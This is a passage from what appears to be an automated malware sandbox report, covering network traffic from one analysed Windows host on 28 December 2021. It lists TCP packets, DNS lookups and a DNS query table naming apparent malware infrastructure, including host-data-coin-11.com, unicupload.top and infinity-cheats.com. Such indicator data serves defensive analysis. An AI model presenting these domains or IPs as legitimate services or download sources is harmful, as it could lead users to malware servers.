Dec 28, 2021 05:19:48.708148956 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.708291054 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.708338022 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.708352089 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.708384991 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.711759090 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.749783993 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.749928951 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.749985933 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.750029087 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.750082970 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.751791954 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.759489059 CET	49861	80	192.168.2.3	194.180.174.53
Dec 28, 2021 05:19:48.824748039 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.824980021 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825017929 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.825124025 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.825126886 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825139999 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.825212955 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.825237036 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825366974 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825555086 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825582981 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:48.825596094 CET	49865	443	192.168.2.3	155.248.231.246
Dec 28, 2021 05:19:48.825608015 CET	443	49865	155.248.231.246	192.168.2.3
Dec 28, 2021 05:19:49.453939915 CET	49866	80	192.168.2.3	91.219.236.18
Dec 28, 2021 05:19:50.441761971 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:50.441873074 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:51.124583960 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.191447973 CET	80	49867	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:51.191556931 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.191730976 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.191749096 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.258347034 CET	80	49867	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:51.303026915 CET	80	49867	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:51.303359032 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.303533077 CET	49867	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:51.370265961 CET	80	49867	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:52.275352955 CET	49850	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.277102947 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.335342884 CET	80	49850	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.336291075 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.336431026 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.336898088 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.337030888 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.397270918 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.397411108 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.397694111 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.397725105 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.397749901 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.397874117 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.397938013 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.456885099 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457056999 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457087994 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457104921 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457130909 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457159996 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457176924 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457200050 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457247019 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457278013 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457290888 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457298040 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457318068 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457357883 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457387924 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457493067 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457520008 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457545996 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457571983 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457596064 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457652092 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457669020 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.457674980 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.457773924 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.462955952 CET	49866	80	192.168.2.3	91.219.236.18
Dec 28, 2021 05:19:52.516757965 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516813040 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516880035 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516905069 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.516921043 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516956091 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516966105 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.516979933 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.516992092 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.516993046 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.517024040 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.517029047 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517055988 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.517064095 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517083883 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:52.517102003 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517137051 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517174959 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517213106 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517246962 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517287970 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517324924 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517359018 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517394066 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517429113 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517467022 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517507076 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517540932 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517576933 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517613888 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517750025 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517786026 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517823935 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517864943 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517900944 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.517939091 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579528093 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579596996 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579638004 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579677105 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579715014 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579752922 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579788923 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579826117 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579864025 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579902887 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579941034 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.579976082 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580014944 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580051899 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580086946 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580123901 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580162048 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.580199003 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.595758915 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:52.595906019 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:53.622790098 CET	49869	80	192.168.2.3	91.219.236.18
Dec 28, 2021 05:19:56.635148048 CET	49869	80	192.168.2.3	91.219.236.18
Dec 28, 2021 05:19:57.451153994 CET	49870	80	192.168.2.3	194.180.174.41
Dec 28, 2021 05:19:57.601294041 CET	80	49868	185.7.214.239	192.168.2.3
Dec 28, 2021 05:19:57.601475954 CET	49868	80	192.168.2.3	185.7.214.239
Dec 28, 2021 05:19:59.824619055 CET	80	49780	54.38.220.85	192.168.2.3
Dec 28, 2021 05:19:59.824728966 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:19:59.824809074 CET	49780	80	192.168.2.3	54.38.220.85
Dec 28, 2021 05:19:59.842381954 CET	80	49780	54.38.220.85	192.168.2.3
Dec 28, 2021 05:20:00.463602066 CET	49870	80	192.168.2.3	194.180.174.41
Dec 28, 2021 05:20:01.610515118 CET	49871	80	192.168.2.3	194.180.174.41
Dec 28, 2021 05:20:01.905383110 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:20:01.931865931 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:20:01.935353041 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:20:01.940198898 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:20:02.009210110 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:20:02.019761086 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:20:02.073168039 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:20:03.271092892 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:20:04.792149067 CET	49871	80	192.168.2.3	194.180.174.41
Dec 28, 2021 05:20:06.474186897 CET	49868	80	192.168.2.3	185.7.214.239

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 05:18:39.009231091 CET	58045	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:39.325753927 CET	53	58045	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:39.539804935 CET	57459	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:39.898515940 CET	53	57459	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.082925081 CET	57875	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.099479914 CET	53	57875	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.312503099 CET	54154	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.331254959 CET	53	54154	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.515712976 CET	52806	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.535259962 CET	53	52806	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.735141993 CET	53910	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.753724098 CET	53	53910	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:40.967773914 CET	64021	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:40.984651089 CET	53	64021	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:42.382132053 CET	60784	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:42.401002884 CET	53	60784	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:42.624048948 CET	51143	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:42.911936998 CET	53	51143	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:43.112515926 CET	56009	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:43.441090107 CET	53	56009	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:43.616491079 CET	59026	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:43.933008909 CET	53	59026	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:44.147182941 CET	49572	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:44.166074991 CET	53	49572	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:51.308043957 CET	50728	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:51.326471090 CET	53	50728	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:51.529618025 CET	53777	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:51.839946985 CET	53	53777	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.018579006 CET	57106	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.037528038 CET	53	57106	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.221879005 CET	60352	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.240456104 CET	53	60352	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.475699902 CET	56773	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.492506981 CET	53	56773	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.687781096 CET	60982	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.790839911 CET	53	60982	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:54.860582113 CET	58058	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:54.879261017 CET	53	58058	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.082103014 CET	64367	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:55.102793932 CET	53	64367	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.293807983 CET	51539	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:55.580760002 CET	53	51539	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:55.829900026 CET	55393	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:56.848927021 CET	55393	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:57.860083103 CET	53	55393	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:57.904176950 CET	50585	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:57.922713041 CET	53	50585	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.119486094 CET	63456	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:58.138019085 CET	53	63456	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.383470058 CET	58540	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:18:58.697845936 CET	53	58540	8.8.8.8	192.168.2.3
Dec 28, 2021 05:18:58.877804995 CET	53	55393	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:00.655342102 CET	55108	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:00.674246073 CET	53	55108	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:00.914998055 CET	58942	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:00.934396982 CET	53	58942	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:01.146226883 CET	64432	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:01.162827969 CET	53	64432	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:01.347253084 CET	49250	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:01.365943909 CET	53	49250	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.232675076 CET	63490	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.249583960 CET	53	63490	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.478763103 CET	65110	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.497446060 CET	53	65110	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.729489088 CET	61120	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.748177052 CET	53	61120	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:02.971997023 CET	53079	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:02.990892887 CET	53	53079	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:03.125703096 CET	50824	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:03.189141989 CET	56706	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:03.210685968 CET	53	56706	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:03.413042068 CET	53	50824	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:04.956842899 CET	53569	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:04.975486040 CET	53	53569	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:05.164602041 CET	62855	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:05.181310892 CET	53	62855	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:05.383534908 CET	51046	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:05.402218103 CET	53	51046	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.001003981 CET	53465	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.020386934 CET	53	53465	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.310925961 CET	49290	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.327271938 CET	53	49290	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:28.529864073 CET	59754	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:28.843050003 CET	53	59754	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.480361938 CET	49234	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.501394987 CET	53	49234	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.706500053 CET	58720	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.725389004 CET	53	58720	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:31.920810938 CET	57447	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:31.939925909 CET	53	57447	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.179344893 CET	63583	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.197608948 CET	53	63583	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.383315086 CET	64099	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.402122974 CET	53	64099	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.639059067 CET	64610	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.656451941 CET	53	64610	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:32.941024065 CET	51989	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:32.959716082 CET	53	51989	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:33.145210028 CET	53152	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:33.161716938 CET	53	53152	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:33.396270990 CET	61590	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:33.415293932 CET	53	61590	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:36.806981087 CET	57951	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:36.823970079 CET	53	57951	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.024342060 CET	53276	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.041131020 CET	53	53276	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.255305052 CET	60135	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.272277117 CET	53	60135	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.491246939 CET	49849	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.510828972 CET	53	49849	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:37.723372936 CET	60253	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:37.741883993 CET	53	60253	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:40.592730999 CET	58706	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:40.611608982 CET	53	58706	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:40.821198940 CET	62595	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:40.839665890 CET	53	62595	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:41.037091017 CET	51189	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:41.055852890 CET	53	51189	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:41.282838106 CET	49967	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:41.302234888 CET	53	49967	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.531496048 CET	51454	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.550419092 CET	53	51454	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.768246889 CET	57163	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.784822941 CET	53	57163	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:47.981024981 CET	56360	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:47.999622107 CET	53	56360	8.8.8.8	192.168.2.3
Dec 28, 2021 05:19:51.106738091 CET	49258	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:19:51.123631954 CET	53	49258	8.8.8.8	192.168.2.3
Dec 28, 2021 05:20:05.146503925 CET	56195	53	192.168.2.3	8.8.8.8
Dec 28, 2021 05:20:05.316809893 CET	53	56195	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 28, 2021 05:18:58.877923012 CET	192.168.2.3	8.8.8.8	cff6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 28, 2021 05:18:39.009231091 CET	192.168.2.3	8.8.8.8	0x754f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:39.539804935 CET	192.168.2.3	8.8.8.8	0xdfce	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.082925081 CET	192.168.2.3	8.8.8.8	0x4311	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.312503099 CET	192.168.2.3	8.8.8.8	0x4f6a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.515712976 CET	192.168.2.3	8.8.8.8	0x7740	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.735141993 CET	192.168.2.3	8.8.8.8	0xc6ad	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:40.967773914 CET	192.168.2.3	8.8.8.8	0x77c4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.382132053 CET	192.168.2.3	8.8.8.8	0x9be4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:42.624048948 CET	192.168.2.3	8.8.8.8	0x2cac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.112515926 CET	192.168.2.3	8.8.8.8	0x9353	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:43.616491079 CET	192.168.2.3	8.8.8.8	0x5aa5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:44.147182941 CET	192.168.2.3	8.8.8.8	0x3ded	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.308043957 CET	192.168.2.3	8.8.8.8	0x67ec	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:51.529618025 CET	192.168.2.3	8.8.8.8	0x31c7	Standard query (0)	privacytools-foryou-777.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.018579006 CET	192.168.2.3	8.8.8.8	0xe252	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.221879005 CET	192.168.2.3	8.8.8.8	0x8cf7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.475699902 CET	192.168.2.3	8.8.8.8	0x4fe3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.687781096 CET	192.168.2.3	8.8.8.8	0xf0cc	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:54.860582113 CET	192.168.2.3	8.8.8.8	0xae28	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.082103014 CET	192.168.2.3	8.8.8.8	0x104f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.293807983 CET	192.168.2.3	8.8.8.8	0xf4e4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:55.829900026 CET	192.168.2.3	8.8.8.8	0x3ab6	Standard query (0)	infinity-cheats.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:56.848927021 CET	192.168.2.3	8.8.8.8	0x3ab6	Standard query (0)	infinity-cheats.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:57.904176950 CET	192.168.2.3	8.8.8.8	0x9eb5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.119486094 CET	192.168.2.3	8.8.8.8	0xa47c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:18:58.383470058 CET	192.168.2.3	8.8.8.8	0xfdc2	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.655342102 CET	192.168.2.3	8.8.8.8	0x707b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 28, 2021 05:19:00.914998055 CET	192.168.2.3	8.8.8.8	0x8c5b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
